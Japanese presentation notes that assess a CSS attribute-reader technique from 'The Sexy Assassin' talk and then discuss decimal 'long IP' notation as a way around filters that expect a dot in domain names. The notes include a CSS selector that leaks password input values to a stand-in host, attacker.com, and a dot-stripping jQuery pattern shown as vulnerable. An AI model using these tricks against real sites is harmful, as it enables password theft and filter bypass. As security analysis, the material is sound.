The Sexy Assassinで紹介されてるCSS HTML Attribute Readerがどこまで危険か検証してみた

自己紹介

The Sexy Assassinとは

[PPT] The Sexy Assassin - Tactical Exploitation using CSSのこと

なんでこの話?

はてブがこんな状態だったから

で、中を見てみるといろいろ興味深い

CSSでinput[type="password"]のvalue読み取りとか

	input[value^="a"]{
		background:url("//attacker.com/?s=a");
	}

ただ、基本的には「CSSで何ができるか」という内容なので、

はてなダイアリーXSS対策見てると

「そもそも外部からCSS書けるだけでまずい」というのがわかるので

具体的な攻撃シナリオが思い浮かばなかった

(あと、:visitedを多用してて最近のブラウザでは通用しないものも多い)

終わり

だけだとちょっとさみしいので、もうひとつ

ロングIPアドレスを使用したfile path injectionの可能性に関して

ロングIPアドレスとは

IPアドレスの10進数表記
(192.168.0.1=3232235521)

IE, Chromeでサポート
(Fx, Safariは未サポート)

<a href="//3232235521">Link</a>

192.168.0.1へ飛べる

XSS的な特徴
「外部ドメイン参照に.が不要」

$.get('/'+location.hash.slice(1).replace(/\./g, ''))的なコードが問題に

(オープンリダイレクタとか考えるとそもそも安全じゃないけど)

単体ではそこまで危険性は高くないと思うが、複合的に問題になる可能性はある

「ドメイン名には必ず.が入っている」という前提のフィルタの場合は問題になるかも

終わり